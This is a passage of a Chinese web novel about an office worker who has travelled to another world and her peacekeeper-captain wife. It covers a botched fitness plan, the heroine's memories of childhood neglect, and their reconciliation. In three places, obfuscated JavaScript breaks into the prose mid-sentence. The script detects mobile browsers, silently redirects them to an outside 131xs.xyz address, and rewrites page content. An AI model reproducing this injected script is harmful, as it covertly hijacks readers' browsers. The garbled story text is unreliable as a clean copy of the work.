“一身臭汗的我怎么敢肖想香香软软的你。”躺在地板上当咸鱼的女人侧过脑袋,对着客厅那张干净的沙发表达自己的深爱。 随后她听到了房间主人的叹气声。 李乐生转过头,正看到李唯一坐在餐桌前,双手手肘撑在桌上,十指交叉。 她的下巴便叠放在十指上面,抿着嘴巴,同她对视。 “别这么看着我。”李乐生坐了起来,尴尬的笑了笑。 “我已经尽力了。” 她真的已经尽力了。 李唯一安排了多少个训练,她都一一去做了。 跑步,她去跑了,不过只跑了两圈。 二十组引体向上,她也做了,这个倒是做完了,就是中间休息时间和频率都很多,总共花费了一个半小时作用。 俯卧撑,她绝对没有偷懒,但是真的一个都做不了。 游泳,她不会。李唯一今天刚教了她,但是没学会。 …… 她的成果不堪入目,但她的态度真的无法挑剔。 李唯一也明白这一点。 尽管她从检测报告上看得很清楚,就连医院里的人也说了,李乐生的身体素质堪称纸糊的。 那次【空间跃迁】随便换个普通人,在她的精神力庇护下,都会相安无事的跃迁。 “但是李乐生已经不在普通人的行列了,她的数值实在是——” 后面的话李唯一没有让他们继续,大家心知肚明。 她对于李乐生的训练计划,进行了一道又一道的减法,已经减到了最低层面,实在是没有下降的空间了。 “抱歉,我以为我制定的这些训练计划不会伤害到你。” 几乎每个项目中,李乐生都像是在受刑一般,不情愿但是又勉强坚持,然而都完成的很不如意。 李乐生每次都是气喘吁吁的,或是坐在地上,或是躺着,还要抽空可怜兮兮的望着她,一脸愧疚。 李乐生并不想继续,但是因为她的劝说和鼓励,还是硬着头皮坚持了下去。 每次失败后便是羞愧却不语的低头,再次抬头,又是一副没事儿的样子。 在讨好她。这种行为。 这是李唯一挫败感的缘由。 她所制定的训练计划,只是想让李乐生的身体达标,这样便能够使用【空间跃迁】,更方便李乐生出行,目的并不在于强迫、打压李乐生的情绪。 可目前的结果来看,完全是相反的。 “我不想强迫你,是我自以为是,觉得仅靠我的个人经验和数据就掌握了你身体目前的活动阈值。” 她的声音平和且坦诚,神色略带愧意,“今天又一直利用语言作为武器,强迫你训练,你肯定很痛苦吧。” “哎?等等!” 李唯一还想继续道歉的时候,李乐生出言打断了她。 只见李乐生此时是一脸狐疑,明显是对李唯一的话有诸多疑问。 “我白天有向你说过你在强迫我吗?”李乐生眼珠子转了转,她试着回忆白天的种种。 好像确实有好几次委婉的暗示,甚至明示李唯一,只要不训练,她就会很幸福之类的。 但是她真没说过李唯一在强迫她啊。 “没有说过。”李唯一摇头,又道,“但我能感受到,你很痛苦。好多次你都不想继续,是我一直在劝你,在鼓励你,我的语言虽然没有强迫的情绪,但是却变成了一种软性压力,让你惴惴不安。” “对不起,乐生。今天让你那么狼狈,失了许多风度和形象,吃晚餐的时候甚至还噎到了自己——” “停停停停停!”李乐生立马抬手匆忙制止。 “吃饭那段可以不说了。”一想起她在餐厅众目睽睽之下,因为吃饭太急噎到后想要灌水吞服却因为喝水呛到一口饭直接喷在了地板上,她整个人又开始尴尬起来了。 她平时吃饭真没那么野蛮,但是今天真的太饿了。 “我觉得你和我之间可能有点误会。”李乐生走过来,在李唯一的对面坐下。 “我先说明一下,我白天看到你那些训练计划,确实头大,也确实有旁敲侧击的表达过,减少训练量或放弃之类的想法。”李乐生想起白天自己的一些扭捏拖延甚至是装傻的时刻,还有点不好意思。 “但是这是我激励自己的一种方法,虽然说起来很奇怪,但我真的有种‘贱骨头’的那种感觉。想要做一件事情的时候,我首先就觉得自己完成不了,也不想去做,但我真的不想做吗?实则不然,我还是要去做。” “可我嘴上就爱抱怨,一边想要放弃又不愿意放弃。这个时候旁边有人跟我说‘坚持一下’‘加油你可以的’我就很愿意继续。” 李乐生说着说着,觉得自己都有点说不明白,“你知道我想说什么吗?” 李唯一却是神色复杂的盯着她。 好吧,看来是不懂。李乐生想,得举个例子。 “我们的文化里,有个成语叫【愚公移山】。” “就是一个老头,家门口的路被太行、王屋两座山挡了,所以就带着自己的子孙誓要把山移走,你想想,人力移山可不是什么易事。哦提前说明一下,这是个古代成语,那个时代他们的代步工具是牛车马车之类的,手里只有锄头铲子这种工具,这个不需要我过多解释吧?” 李唯一摇头,“不用,我知道你所说的那个时代,属于农耕文明。” 李乐生:“对,就是这个。” 她又说,“这个成语故事里,愚公带着他儿子孙子移山,主要是想体现他们的自强不息和坚持。” “把这个愚公换成是我,我看到那两座山首先就是一哭二闹三放弃,但你真要我走说别移了,那我办不到。我就拿着那锄头慢慢挖,挖上那么一两下就喊累,喊完累我就接着挖,最后就是聒噪又拖延的把山给它移走。” “今天白天,锻炼的时候,也是这种性质。” “能懂吗?” 沉默。 安静。 李乐生有点坐立难安了。 不至于吧。 她虽然工作后确实不怎么阅读书籍了,脑子也因为工作的那套流程基本有点麻木了,但也不至于语言表达这么烂吧? 举了个例子,还没办法让对方理解自己的心理活动吗? 这下是轮到李乐生有挫败感了。 她甚至怀疑自己提前步入老年痴呆了。 她之前可是看过一篇报道的,年轻人也会患有阿尔兹海默症的。 当时报道的时候好像说过,年轻人患有阿尔兹海默症的主要表现为影响执行功能,其中好像就有语言障碍。 不是,怎么越想越符合了? “认知失调现象。”李唯一的声音突然响起,将李乐生从疑神疑鬼的自我诊断中拉回来。 黑发女人被吓得一个激灵。 “啊?”她没听清李唯一说的什么。 “认知失调现象。”李唯一重复了一遍自己的话,继续说道,“按照你的说法,【我不行】【放弃】这种负面词汇,在你的嘴里更像是一种缓冲剂。当你要做某件有挑战的事情时,你第一反应是【我不行】,所以你会有【退缩】的心理,这是你的情绪中心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15881905|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “但你的大脑前额叶,也就是你的理性决策区,却会依照你自身的条件判断并作出选择,让你坚持下去。” “这两种相反的矛盾,就是俗称的自我认知失调。” “这种自我认知失调,会让你的心理产生【自我怀疑】,在你坚持的时候使你的情绪不断低落,陷入自我否定的痛苦中,而他人的【期望】在这个时候会让你肯定自己,成为你坚持的动力。” 不知何时,李唯一的双手变成了平放在桌上。 李乐生静静的听着李唯一用着专业但又清晰明了的话,将她这种自己都说不清楚的心理剖析出来。 她的呼吸甚至有些不自然。 奇怪,有点难受。李乐生摸了摸脖子,她不知道为何,胸口闷闷的。 “你需要他人认同激活你的【群体归属感】,你信任群体,但不信任自己,哪怕你的同伴什么也不做。” 李唯一的双手紧握成拳,甚至因为过于用力在发抖。 注意到这一点,李乐生不禁有些奇怪。 “怎么了?”她有些担心。 再看李唯一的脸,女人眉心微蹙,细密睫毛的阴影下,那双浅金色的眸子注视着李乐生。 李乐生清楚的看到,对方目光中传达着的信息,是心疼。 “你干嘛?”李乐生忽然有些慌乱,不由得身体向后靠去。 “你活的很辛苦,对吗?”李唯一对着她笑,却不是开心,而是伤心。 李乐生心里更不舒服了。 但是脸上依旧没有表现出来,反倒是故作调侃大方的哈哈笑了两声。 “我勒个废话文学啊,这还用说。天天给人当牛马肯定辛苦啊。”李乐生的声音很大,却有一种明显的心虚,就像是极力的想要将话题扭转去往别处,“该死的资本家们!” “我告诉你啊,我要是有机会回去,我绝对要把他们都挂路灯。” “成年人一般出现这种【认知失调现象】,成因往往来源于【幼年】或【少年】时,在她的环境中,与她有着亲密联系或频繁互动的社交成员,在多次互动中对她有过【情感忽视】【高压控制】【限制自主性】——” 李唯一继续剖析病理。 将李乐生刚刚营造起来的“轻松”氛围瞬间打破,看似只是在简单的阐述着病理成因,那双眼睛却死死的盯着对面的女人。 “够了!”李乐生脸上的笑容先是一僵,随即消失。 “我不是医学生,你不用给我上课。”她的语气很是冷漠,甚至有些刻薄。 “我去洗澡了。”李乐生起身,转移视线,逃也似地就往浴室走去。 身后却传来一道椅子与地板摩擦的声音。 她连忙加快脚步,刚刚摸上浴室门,身后李唯一的手迅速伸过来,从她的左耳后方,拍在了门上。 她的肩膀被李唯一右手按住,女人的影子将她包裹,她的身体也被困在这种半包围的圈里。 李乐生内心逐渐生出一种恐惧。 不,应该说,她刚刚一直试图掩饰的恐惧,此刻破土而出了。 “我要洗澡。”李乐生低头,她的余光仍能瞥见李唯一那只手。 但她只是盯着那面白墙与地板交接处,逃避着关于李唯一的一切。 “乐生。”她听到李唯一叫她的名字。 李乐生不耐的闭上眼睛。 伤疤被人这样轻易的、毫无征兆的揭开,实在是一种很令人难堪的场面。 可是她知道,李唯一没做错什么。 只是她自己不知好歹,迁怒了对方。 “你的人生是你自己的,喜怒哀乐贪嗔痴,都是你自己的。”李唯一开口。 她听到李唯一深吸了一口气,又慢慢吐出,“未来的某一天,如果你依旧产生这种自我怀疑,请你想想,【诺城】最强大的治安官,李唯一,是由你创造出来的。” “好吗?” 13. 第 13 章 治安官们除了要处理【异常】外,还肩负着一定的维护城市日常秩序的责任。 为什么说一定? 在【诺城】,无【异常入侵】的时候,城市中如果发生了一些影响日常秩序的事,例如道路堵塞、犯罪行为等,首先会求助于普通的【保卫员】。 当【保卫员】实在处理不了的时候,便会将当前【案件】递交给治安基地,再有【治安官】出面解决。 这也是为了更高效率的解决案件。 而治安官们,包括已退休、转职的异能者们在内,如今也就六百多人,但整个【诺城】的常住人口至少有四百万人。 如果所有的案件都要交给治安官们来处理,把退休的那些人揪过来,一天下来也能累死一大半。 就这还不一定能处理完所有的案件。 “你好,我想问一下,你们的社会发展的这么和谐,还会有犯罪活动吗?”李乐生翻阅着屏幕上的资料,看到【犯罪活动率下降】和【保卫员分布点】的时候,问出了声。 办公室里,A组所有的队员都在。 李唯一正坐在自己的办公桌后,办公桌的桌面可触摸屏幕上正是她整理的一系列报告。 林和冬两个人不拘小节,对着盘腿坐在房间中央,凑在一起研究着她们刚刚购买的新游戏。 纳德则是躺在另一张沙发上研究着一本记录了现今【厄斯星人】不再使用的古语言书籍。 听到李乐生的话,李唯一几人纷纷抬头望过去。 黑发女人却是看着林和冬的方向。 只给李唯一留下了一张侧颜。 林和冬相视一眼,都有些迟疑,还是扎着高马尾的冬先反应了过来。 冬看向李乐生,李乐生向她亮了一个很友好的微笑。 那双圆溜溜的葡萄般的眼睛也弯成了月牙,瞬间让她升起一股亲近的保护欲。 “额,其实我们【厄斯星】发展的也没有那么和谐啦。虽然大部分人都是很善解人意的,彼此呢都互帮互助,但是人与人之间的相处总是会有矛盾的,而且【诺城】的本土居民们已经形成了约定俗成的生活秩序了,但总是会有外来的人在这里定居呀。” “那生活上出现摩擦,也是很正常的嘛。所以有时候可能会出现一些言语摩擦,若是恰巧发生矛盾的二人心情不好,就容易升级成斗殴。” 冬耐心的向李乐生解释。 从李唯一口中她已经知道了,李乐生所生活的那个世界,人文环境和科技发展等东西,与她们现在的【厄斯星】是完全不一样的。 相较而言,各个方面都比较落后。 法律层面应该也是。 “也就是说,私人口角中如果涉及言语辱骂,也属于【犯罪行为】?”李乐生好奇道。 冬点头。 她懂了。 看来在李乐生所生活的世界里,【犯罪】的概念应该是要衡量一些重量级的错误的。 “那,【杀人】呢?”李乐生犹豫的询问,后又察觉自己失言,连忙道歉,“对不起,我就是好奇。” 好像这样说也不对。 她顿了一下,“……也不是好奇,呃。” 她有些尴尬的停了声,死活不知该怎么说。 “你们的社会文明建设程度如此之高,应该是不会出现【杀人】这种事情的,抱歉。”李乐生发觉自己已经陷入了表达障碍,甚至连自己最开始想问的是什么都不知道了。 沮丧的低头,向冬道歉。 “哈哈哈哈……你不用这么小心翼翼啦。” 反倒是性格开朗的冬并没有将她的这场“冒犯”放在心上,而是主动提及此事。 “虽说我们星球文明现在是发展的不错,但不代表不会出现这种【严重犯罪行为】哦。” “人的基因是一个神奇的东西,即便【厄斯星】已经掌握了【时空跃迁】的技术,也有我们异能者这种【超自然人】的存在,但对于人体【基因】的开发,我们依旧处于一知半解的状态。” “就像时空穿梭技术,我们目前仍然没有突破【厄斯星】的【边界】,没有办法离开这个维度。” 李乐生听的认真,偶尔眯起的眸子和转动的眼球表现着她在思考,冬见状也会停顿几下,再开口。 “就像有的人经历了良好的教育,但【基因】依旧让他嗜血疯狂,进而会出现伤人举动。这种事情,在【厄斯星】并不少见。” “还有一些人,经历过一年生死的极端环境,他甚至会对当时的【死亡恐惧】成瘾,进而在之后的生活中寻求【窒息-濒死-解脱】这种闭环的体验。而往往这类人的心理已经扭曲了,他们有可能会怂恿身边的人和他们一起进行这种……嗯……医学上来讲,叫做【生命重构现象】。” “这又何尝不是一种【杀人】呢?也属于【严重犯罪】。” 冬举了两个不同的例子,便不再言语,只留李乐生消化这些信息。 办公室内沉默下来。 李唯一看着李乐生,冬也看着她。 纳德移开了书的一角,只露出了一个眼睛,看着自己的队长。 事实上,从一开始,他就一直在观察自己的队长。 林还是在研究着新游戏的角色和玩法,始终如一。 “谢谢你,我了解到了很多。”没有几分钟,李乐生便将冬所说的全部内容消化彻底。 随后附上一个感激地笑容。 又是两只月牙。 这种笑容很是感染冬,让她也不由自主跟着笑了两声。 “没事没事,我也很乐意帮你解惑的。以后有任何不懂得,记得还来找我啊。”冬十分义气的拍拍胸脯。 “嗯!谢谢你”李乐生立马点头。 那声“嗯”在冬听来十分受用。 正在此时,李乐生的手环响了。 “滴滴”两声。 “啊!我的训练时间到了,先不打扰你们了。” 与此同时,李唯一也跟着站了起来。 “你忙你的,不用管我。”哪知李乐生这个时候却朝她开了口,却是拒绝她的陪同。 纳德看到自家队长那双眸子更失落了。 “拜拜。”李乐生却跟没看见似的,最后朝几人挥挥手,关上门离开了。 李唯一站在原地,盯着窗外李乐生离去的身影,神色不明。 剩下的三人哪里还看不明白这二人之间诡异的氛围。 “这两人是冷战了吧?”林和冬凑到了纳德的沙发边,开始谈论。 纳德换了个侧躺的姿势,对着林和冬,那本书还挡着自己的下半张脸,但不影响他们八卦。 冬:“这几天,办公室里,队长和乐生小姐很少交流吧?” 林点头。 纳德:“我观察了好几天了,乐生小姐基本不怎么主动和队长说话,只有队长先开口的时候,她会礼貌的回上几句。” “而且,早上训练我不知道,但每天下午的训练,她在办公室待了一会后,到时间了就走,不让队长陪着。” 两位女队友相视,又都点头。 林肯定道:“果然在冷战。” 林又疑惑:“冷战的还挺有礼貌呢?” 冬接话:“乐生小姐人很好,应该是队长惹她生气了吧?” 纳德的书蹭了蹭鼻子,说道,“毕竟队长没谈过恋爱就结婚了,没经验,很正常。” 站在书桌旁将自家队员的话悉数听进耳朵里的李唯一:“我听得见。” 三个人立马抿紧嘴巴。 林和冬齐齐转头,讨好的看着李唯一,两个人默契的都透出了人畜无害的笑容。 纳德选择用书挡住了自己的一整张脸。 谁说纸质书除了增加负重占用空间外没用的?这不就有用了吗? 李唯一无奈的瞥了眼三人,却没追究这种当着她的面说她小话的行为。 她叹了口气,抬起步子离开了办公室。 李唯一对自家队员的要求很简单,工作时严格遵守命令,闲暇时不得参与伤害身体的任何活动。 除此之外,她并不会过多管控和干涉队员们。 哪怕现在,这几个人正大光明的讲她的八卦,她也觉得没什么。 很显然,林和冬,还有纳德,这三人也知道李唯一的底线,所以才会这么肆无忌惮。 连压低声音演一演都懒得搞。 李乐生的身体素质太差了。 第一天的训练计划完成的实在很不完美,所以当天晚上李唯一就给她进行了全方位的修改。 近一个月,李乐生只需要进行两个活动,早上跑步,下午爬楼梯。 爬楼梯的地点就在A组大楼里,从一楼爬到三十五楼。 一共有700个台阶。 爬完即可。 因为过于简单,也没有限制时间,李乐生拒绝了李唯一的陪同。 这个理由很充足,但是李唯一很清楚,李乐生是在尽量避免和她独处。 就连每天晚上二人回家,李乐生都是迅速洗完澡就去沙发上看书或者睡觉。 虽然没有明确的拒绝和她的交流,但也不会主动挑起话题。 李唯一又不是傻子,她早就看出来了。 她只是不理解,李乐生为什么要这样做。 她觉得,需要给李乐生时间,让她一个人静静。 但是已经连续三天了,时间很充足了。 李唯一实在是坐不住了。 女人左手抓着扶手,右手撑在膝盖上,喘着粗气。 一抬头,她才爬到了五楼。 “不行了,得休息一下。”李乐生喘了几口气,转身一屁股就要坐下来。 结果刚一转头,看到穿着制服的白发治安队长正站在楼梯下的分层平台间,静静的注视着她。 李乐生吓得“啊!”了一声。 心脏砰砰直跳。 “你什么时候来的?怎么不出声啊?吓死我了。”李乐生浑身的累意都给吓没了。 手脚还在发颤。 “我很可怕吗?”李唯一开口。 语气里有着不易察觉的不满。 李乐生:“不是可不可怕的问题,是人在最放松的时候,很容易被你这种行为吓到。” 简直跟个鬼一样。 她没敢说出来。 李唯一站在原地没动,垂眸,失落道,“为什么要躲着我?” 她很委屈。 李乐生也能听出来。 眼看对方不回话,李唯一抬眸看向黑发女人,伤心道,“你是在生我的气吗?” “如果你生我的气,请你告诉我,我会改的。”李唯一肩膀微微塌着,体态也不如往日那般矜持严肃,稍许驼着的背让她整个人都添了几分消沉。 “可是你躲着我,不理我,我根本不知道该怎么办?” “我只是对你的一切都很好奇,我想要去了解你,想知道你的很多,也许在这过程中我冒犯了你,但是你应该告诉我,我会尊重你的。”李唯一越说越消沉,越说越委屈。 此时的她就像一只被主人责骂后却不知道自己犯了什么错的小狗,于是只能这样无措的看着李乐生。 她的语气和神情都让李乐生难以招架。 “不是,我没有生气。你别这样……”李乐生暗道自己真该死啊,连忙从台阶上下来。 李唯一自身带着一种天之骄子的气质,一旦露出一丁点儿委屈的神态,便会让旁人觉得是自己亏欠了她。 这点放在李乐生身上自然也逃不过去。 更别提,对与李乐生来说,李唯一还是个很特殊的存在。 “我不是生你的气,我是生自己的气。”她扶着墙走下来,站在李唯一面前。 她看到李唯一泛红的眼角有几分湿润,心中一紧。 她道,“穿越到这里,我本来是个黑户。但是你出现了,救了我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886703|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,还利用婚姻关系让我成为了合法的公民。” “那天,你给我安排训练,我完成得不是很好。回去后,你在自责对吗?你觉得是你在强迫我。” 李唯一没有说话,只是用那双湿漉漉的眼睛盯着李乐生。 李乐生也没有强求她说话,继续解释,“之后,我告诉了你我独特的自我激励方法,其实就像你说的,那就是我的性格缺陷。” “不是缺陷。是【自我认知失调】,只是你的心理生了病。”李唯一开口反驳。 “好,我说错了,是我生了病。”李乐生改了口,微笑后又咬了咬唇,“其实你当时描述的没错。” “我小时候,的确被忽视过很多,也被否定过很多次。” “我以前上学的时候,经常考第一名,从小学到高中,都是学校老师眼中的【好学生】。” “但是大伯总是教育我,说我考第一名也没什么用,因为我以后要相夫教子,会做饭、会干家务、会孝顺父母,才是最好的。我每次都特别希望我爸妈能站出来,哪怕只说一句【哥,咱们不说孩子了】这种话也好。” “但是每次他们都没有站出来,他们也没有沉默,他们会附和我大伯,和我大伯联合起来【教育】我。” “就像他们是亲密无间的一家人,而我是个外人。” “我弟弟,还有我大伯的儿子,他们从来不需要受到和我一样的【教育】。不,我觉得,应该叫做【审判】,我不明白,为什么我做的多优秀,他们都要来【审判】我。” “我更不明白,为什么我的爸妈不愿意帮我?” 说到此处,李乐生顿了会,吸了口气。 “我真的很讨厌我大伯,你知道吗?我讨厌死他了。” 李乐生的声音由最初的平静变得颤抖,直到这句“讨厌”,已经彻底转化成了哭腔。 她低着头,啜泣着,“我到现在都很讨厌他,我不喜欢他。” “别的同学考第一名第二名,他们的父母会带他们去游乐园,会抱他们。可我爸妈从来没这样做过,他们只有在过年的时候,当亲戚们聚在一起讨论家长里短,不可避免地谈到教育孩子。他们会很骄傲地告诉别人,我的学习从来不用他们操心。” “我其实特别希望他们能当我的面,正式的,夸我一次。但是他们每次留给我的只有一句话——” “不要骄傲。” 李乐生哽咽道,“我没有骄傲……我没有…我只是,想让他们夸夸我……” “难道想让父母夸一下自己,就是骄傲自负了吗?” “到底我要做到什么样?他们才愿意夸我呢?” 她像是在问李唯一,又像是在问自己。 泪水接二连三的滚落,李乐生的呼吸也变得细碎而不规律,时而急促时而停滞,像是随时会断掉的琴弦。她捂着脸,机械地重复着擦泪的动作,手背都被揉得通红。 李唯一入目所见的是黑发女人低垂着的脑袋,蜷缩颤抖的肩膀。 李乐生此时哭的那样安静,那些长久以来被她堆积在心底的悲伤和愤怒,在此刻发泄出来都是克制的。 李唯一伸手抱住李乐生,无声的安慰着对方。 她就这样等待着,感受着李唯一这种安静的控诉。 不知过了多久,怀中的女人停止了哭泣,开口,“有纸吗?” “我鼻涕要留下来了。” 对方吸着鼻子,抬头,乞求的看着她。 “哦,我自己带了。”李乐生忽然想起来了,从自己裤兜里掏出一张纸巾,退出李唯一的怀抱,擤起了鼻涕。 然后将鼻涕纸扔进了垃圾桶。 做完这一切,她顶着泛红的鼻尖和湿润的睫毛看向李唯一,“我没有故意不理你,你和我说话的时候,我都会回应你的。” 李唯一都忘记了此行的目的,李乐生却还记得。 听到李乐生这句话,李唯一绷不住笑了。 那笑声短促,看似轻哼一句,里面的情绪却强烈的很。 有着一种无能的愤怒。 李乐生心虚的低下了头,“对不起。” 她主动道歉。 “其实那天晚上我就后悔对你生气了,你对我这么好,我却迁怒了你。” “我觉得自己很不争气,很没有担当。” “每次想和你道歉,可是一看到你,嘴巴就跟涂了502似的,死活都张不了口。” “502是一种胶水,你知道胶水吗?”她还不忘抽空解释一下那串数字。 李唯一点头。 得到确认后,李乐生继续说,“我也不知道为什么,就是很懦弱,只有你和我说话的时候,我才敢回应。” “那拒绝我的陪同又是为什么?”李唯一问。 “因为很不好意思,感觉自己很对不起你。”李乐生回答。 李唯一又冷笑了起来。 李乐生只觉得头皮发麻。 笑吧笑吧。反正她已经全都说出来了。 就算是骂她她也认。 她这个毛病也不是一天两天了,自己也改不了,确实该骂。 李乐生有自知之明。 “你的【自我认知失调】是真的很严重,遇到由你自身引发的强烈的情感冲突,察觉自己该道歉时第一反应竟然是逃避。”头顶是治安队长那冷静自持的御姐音。 李乐生低头,乖乖挨训,一句反驳的话也不敢说。 说实在的,都不算训斥。 只是带着点儿脾气的陈述。 李唯一说完后却没怪她,只是抬起手揉着她的脑袋。 女人弯下腰,二人的视线齐平。 那双漂亮的金眸正欣慰的看着李乐生,“不过还好,你现在说出来了。” “你看,这对你来说就是一件很有挑战的事。” “而你现在,做到了。” 李唯一眨眨眼睛,冲李乐生笑。 甚是迷人。 14. 第 14 章 在A组小队的三人中,她们几乎没见过自家队长碰壁吃瘪的样子。 李唯一虽然是和她们同时期进入A组的,但进入治安基地的时间却比他们三个晚一年。 通常来讲,刚从异能者学院毕业的异能者们基本都是治安官预备役,作为预备役的他们需要用一年的时间在治安基地接受更专业的训练和考核,在这期间,他们的教官和后勤团队会记录他们的训练成绩、身体水平和异能数值,最后再结合他们的考核水准,将他们分配到治安基地不同的部门。 执法治安官、医疗治安官和监测治安官,这三种治安官是整个治安部最主要的组成人员。 像李唯一这类专程处理【异常】现场的,便是执法治安官。他们是冲在一线的战斗人员,是整个治安基地的主力军。没有任务的时候,他们便进行日常训练、周常的巡城任务,除了队长需要每个月额外向上层述职报告,其他的治安官日子倒还过的比较安逸。 医疗治安官相比执法治安官,每日的训练量和训练时间缩减了一半。他们日常基本都守在治安基地的医院里面,通常都在学习【异常】相关的医学知识或是研究新的药物,治病救人自然是最基础的。普通医院治不了的病也会由他们进行救治。与此同时,当有【异能预警】的时候,医院通常会派两个医疗治安官跟随到现场,以备不时之需。不过大部分时候,遇到中低等级的【异能预警】,有把握的执法治安官大概率会拒绝医院的派送。 监测治安官是外出执勤次数最少的,但工作时间十分固定,工作内容也较为枯燥,人数比起其他两类治安官更是少很多。他们要分批轮换守着监测房,时时刻刻都要观察和记录监测房里仪器上的信息,一旦发现【异常】就必须及时做出【异常等级】的判断,并且迅速通知【执法治安官】去处理异常,以及向【异常活动地区】的公民们发出【异常警告】。 三个队伍各司其职,相辅相成。 林她们三人进入治安基地后,首先在预备役里待了一年,经过考察后成为了正式治安官,并参与了长达一月的分组选拔。也就是那一次的分组考核,她们遇上了刚从异能者学院毕业后就被直接选进正式治安官的李唯一。 三个人在分组大赛中无一例外都成了李唯一的手下败将。 那一届的考核大赛因为李唯一的加入实在是场面惨烈,决定分组有两个因素,一是看排名,二是看积分。 比如最优秀的A组,想要进入至少得有二十的净积分。 也就是说在存活赛中的输赢比必须是20:0,以此类推,21:1;22:2等等。 而积分合格后,排名也必须进入前十名,才能进入A组。 两者缺一,都不合格。 由于李唯一是直接进入在役治安官的,没有参与预备役治安官的考核,所以刚开始,她的编号是91,也就是最后一名。 等到大赛结束,她打到了第一名,拿到了三十三分。 自然成为了常年空缺的A组的第一个队员。 李唯一在考核大赛中的分组中几乎没有轮空,一场接着一场打,没有一场败绩。 也就意味着与她对战的人是最多的,被她吃分的人更是多得离谱。 原本还有两个人也有机会进入A组,但因为两个人最后一场都遇到了李唯一,于是双双掉了一分,遗憾进入b组。 最后结果下来,整个A组就只选进了五个人。 “那为什么现在只有你们四个了?”李乐生好奇的问。 纳德伸着懒腰,说道,“医院那边发现他的异能更适用于手术和实验,所以和他还有部长同意商量了一下,最后把他调到医院去当主任了好像。” “他本来是我们的队长来着,走了之后没几天,上面通过报告分析了一下,李队就被任命成我们的队长了。” “原来是这样啊。”李乐生恍然大悟,“然后她就变成每年考核大赛的A组副本boss了吗?” 纳德:“?” 李乐生:“干嘛这么看着我?” “不是你说的吗?她变成队长后,就亲自加入了A组选拔赛,考核那些新人吗?” 纳德点头,又摇头,开口,“我只是惊讶于你竟然会如此形准确的描绘出我们李队在众多新人眼中的形象。” 说罢,他大拇指还往身后指了指,却没回头,“看到那个金发碧眼的帅小伙了吗?” 李乐生望了一眼,不远处有个金发碧眼的年轻少年正兴致勃勃地和周围的人谈话,甚是雀跃。 “看到了。” 纳德压低声音道,“他叫赛德,其实也是治安部里百年难遇的天才了,当时大家都认为他比李队的天赋还要高,十六岁就从异能者学院毕业了。” “而且和李队一样没有进入预备役,是直接成为在役治安官的,不过他当时和同批的新人一同参与了治安部医院的数值测验,所以一开始的编号就是第一名。” “我们当时都以为他要成为治安部第二个传奇,以为他要成为A组第五个人了。” “结果天之骄子被队长打包送给B组了。”林忽然出现在两人旁边,头发还湿着。 看来是训练后去洗了个澡换了套新衣服,不过头发没怎么擦。 她用手将额前的头发全部抚到脑袋后,脸上还是一副冲完澡后的舒适惬意,“后来他不服,又去找队长单挑,队长第二次下手可重了,直接把他打骨折了。” “从此以后他看到队长就跑,跟老鼠一样儿。哈哈哈……”林说着就笑了起来。 “李唯一,这么厉害啊?”李乐生有些傻眼。 她当时确实将主控的数值拉的特别高,但没想到在这个世界里,直接把李唯一变成boss了。 此话一出,纳德和林都沉默不语。 “想了解我你可以直接来问我的,乐生。”李唯一的声音忽然响起来。 李乐生吓得全身一僵,转头张望,却没看到李唯一的身影。 见鬼了? “看手环。”李唯一的声音又响起来。 李乐生低头,这才发现,原来是手环里传来的声音。 此刻腕部的手环终端还闪着绿光。 她打开悬浮框,果然看到了李唯一的那串ID,旁边还显示着一个小喇叭。 “你偷听我们讲话。”李乐生条件反射道。 那头的李唯一却丝毫没有被抓包的惭愧,反倒是理直气壮,“伴侣之间本来就是ID互通的,单方面开启通话是合法的。” 我靠!好不要脸。 仗着自己是【诺城】土著使劲忽悠李乐生这个外时空外星球的人类。 林和纳德的眼睛对在一起,相继在心理谴责自家队长的不良行为。 “【ID手环使用规则】里确实说过伴侣之间的ID互通仅地图信息、钱财交易记录查询和通话记录,也可以单方面开启通话。”李乐生却开始背起了说明书。 “但是当通话被一方强制开启的时候,手环是会有振动提示的。” “可是我的手环没有收到振动提示,【规则】里第三十九条,当治安官执行任务时,有权力通过手环开启【管辖地区】某一公民的视听系统进行单方面的监测、录音和指导等行为。” 听到李乐生将这条规则背出来,身旁的两个A组队员惊得嘴巴都合不上了。 纳德甚至打开手环的悬浮窗,专门调开使用规则翻到了第三十九条,简直和李乐生说的一字不差。 啊?背下来了?纳德愣住。 李乐生却没有停止输出,“所以你利用自己的治安官身份,钻规则漏洞,偷听我们讲话。” 手环那边没有回应。 显然李唯一也没料到李乐生竟然会把规则记得这么清楚。 旁边看戏的两人兴致却更好了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891162|176161||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “对不起。” 约莫十秒钟,三人听到了李唯一的声音。 